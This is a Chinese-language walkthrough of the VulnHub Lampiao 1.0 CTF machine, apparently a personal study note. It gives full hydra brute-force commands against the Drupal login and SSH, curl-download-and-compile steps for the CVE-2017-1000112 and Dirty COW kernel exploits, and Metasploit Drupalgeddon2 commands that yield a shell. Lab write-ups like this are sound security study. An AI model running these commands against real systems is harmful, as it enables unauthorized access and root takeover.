Lampiao 1.0¶
Infomation¶
Lampiao 1.0 is a vulnerable machine created by VulnHub.
Lampião 1.0 是一个难度为初级的Boot2root/CTF挑战
描述:Virgulino Ferreira da Silva,绰号Lampião(油灯),是巴西东北地区最有名的土匪首领。
思路¶
0x01 扫描¶
nmap -sP 192.168.128.1/24
找到主机nmap -A 192.168.128.135
找到开放端口和服务
扫描出来 Drupal 是一个突破口,后面看看能不能利用
0x02 分析¶
打开扫描出来的网站看看有没有发现
- http://192.168.128.135 # 没啥发现
- http://192.168.128.135:1898 # 是一个类似博客的站点,有登录功能,有文章发布功能,从文章信息中可以看到发布文章的用户名
找到用户名就可以尝试一下密码爆破了,首先制作密码字典,然后使用 hydra
进行爆破
其中制作密码字典的工具有很多,这里使用 cewl
来制作密码字典 cewl -w target.txt http://192.168.128.135:1898/?q=node/1
字典制作工具
- CeWL: 是个 Kali 中的工具,爬取网站并提取独立单词的列表。他它也可以提供每次单词的重复次数,保存结果到文件,使用页面的元数据。
- crunch: 是个 Kali 中的工具,这是基于由用户提供的字符集合的生成器,它使用这个集合来生成所有可能的组合。。
- Wordlist Maker(WLM): WLM 能够基于字符集来生成单词列表,也能够从文本文件和网页中提取单词。
- Common User Password Profiler (CUPP): 这个工具可以使用单词列表来为常见的用户名分析可能的密码,以及从数据库下载单词列表和默认密码
然后使用 hydra
进行爆破 hydra -L username.txt -P target.txt -vV -f 192.168.128.135 -s 1898 http-post-form "/?q=node/1&destination=node/1:name=^USER^&pass=^PASS^&form_build_id=form-WKAqjKEpImQ1oLNhJtypMBxwHeQY409y_3QCEB5trJY&form_id=user_login_block&op=Log+in:Sorry, unrecognized username or password."
注意到有一种服务类型为:http[s]-{get|post}-form,选择此服务类型,Hydra会发送Web的form表单模拟登录,可选POST或GET方式。
hydra 参数说明
-R
恢复前一次失败的或缓存的攻击-S
使用SSL连接-s PORT
若是服务没有使用默认端口,则用这一参数指定端口-l LOGIN or -L FILE
把LOGIN作为登录名,或是从文件FILE中载入一系列登录名-p PASS or -P FILE
将PASS作为密码, 或是从文件FILE中载入一系列密码-x MIN:MAX:CHARSET
生成暴力破解用的密码, 输入 "-x -h" 获得更多帮助-e nsr
尝试: n 空密码,s 将登录名作为密码,r 反转登录-u
循环用户名, 不使用密码 (有效的! 用 -x 说明)-C FILE
取代 -L/-P 选项,输入格式是以冒号分割:"login:pass"-M FILE
要攻击的服务器列表, 一行一个, 用':'指定端口-o FILE
将找到的用户名/密码对写入到文件FILE中,而不输出到标准输出-f / -F
当找到一对用户名/密码后退出 (-M: -f 每个主机, -F 全局)-t TASKS
同时运行TASKS个线程 (每个主机默认为16)-w / -W TIME
每个请求的等待时间 (32) / 线程之间发起连接的时间间隔 (0)-4 / -6
使用IPv4 (默认) / IPv6 地址 (put always in [] also in -M)-v / -V / -d
冗余模式 / 展示每次攻击时使用的用户名和密码 / 调试模式-O
使用旧版的SSL v2 和 v3-q
不输出有关连接错误的信息-U
服务模块用法细节server
目标服务器: DNS, IP or 192.168.0.0/24 (使用此选项或 -M 选项)service
要破解的服务 (支持的协议在上面已经给出了)OPT
一些服务模块支持额外的输入 (参数 -U 可查看模块帮助)
web 密码破解出来后登录时发现登录次数超限了,白忙活了
换个思路试试破解 ssh 密码,同样是用 hydra 进行爆破,hydra -L username.txt -P target.txt -f -e nsr -t 8 ssh://192.168.128.135
ssh 密码破解成功后,登录 shh,接下来就是提取了
0x03 提权¶
尝试利用SUID提权,比如nmap,vim,less等,发现均没有成功。
第一种¶
Linux内核逃逸 (CVE-2017-1000112) 提权,由于内核版本 < 4.12.3,所以可以利用此漏洞提权。
但在提权过程中需要编译c文件,但是在此机器上没有编译器,所以需要先上传编译器,这里使用的是 gcc,上传后编译 c 文件,然后执行即可提权成功。
第二种¶
Dirty COW (CVE-2016-5195) 提权,由于内核版本 >= 2.6.22,所以可以利用此漏洞提权。
具体操作步骤参照下文总结部分。
第三种¶
Drupal Drupalgeddon 2 远程代码执行漏洞 (CVE-2018-7600) 提权,由于在最开始扫描结果中发现了 Drupal,所以可以利用此漏洞提权。
具体操作步骤参照下文总结部分。
总结¶
Linux内核逃逸 (CVE-2017-1000112) 提权¶
Linux内核逃逸 (CVE-2017-1000112)
Linux内核中的UDP碎片卸载(UFO)代码中的内存损坏问题可能导致本地特权的升级。
影响范围:Linux Kernel < 4.12.3
Installation:¶
Compile the PoC:
curl -o poc.c https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
gcc poc.c -o poc
Run the PoC:
./poc
# done, should be root now
Dirty COW (CVE-2016-5195) 提权¶
Dirty COW
脏牛漏洞当年可以秒杀大部分Linux系统,但是现在已经修复了,所以这里就不再赘述了。
影响范围:Linux Kernel >= 2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。
Installation:¶
Compile the program:
-
curl -o dcow.cpp https://raw.githubusercontent.com/gbonacini/CVE-2016-5195/master/dcow.cpp
-
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
Start the program:
./dcow
or
-
./dcow -s
# Automatically open a root shell and restore the passwd file. -
./dcow -s -n
# Automatically open a root shell but doesn't restore the passwd file.
Online help:
./dcow -h
Drupal Drupalgeddon 2 远程代码执行漏洞 (CVE-2018-7600) 提权¶
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由由内容管理系统和PHP开发框架共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。
2018年3月28日,Drupal Security Team官方发布公告称Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用该漏洞执行恶意代码。
Drupal未对表单请求数据做严格过滤,导致攻击者可以将恶意代码注入表单内容,此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。
受影响的版本范围:Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1
Exploit¶
MSF: use unix/webapp/drupal_drupalgeddon2
MSF: set rhosts 192.168.128.135
MSF: set rport 1898
MSF: exploit
meterpreter > shell
参考¶
- CVE-2017-1000112漏洞分析
- CVE-2017-1000112 PoC
- CVE-2016-5195漏洞分析
- CVE-2016-5195 PoC
- CVE-2018-7600漏洞分析
- Linux提权-利用SUID提权
- 合天网安-脏牛提取实验
创建日期: November 17, 2022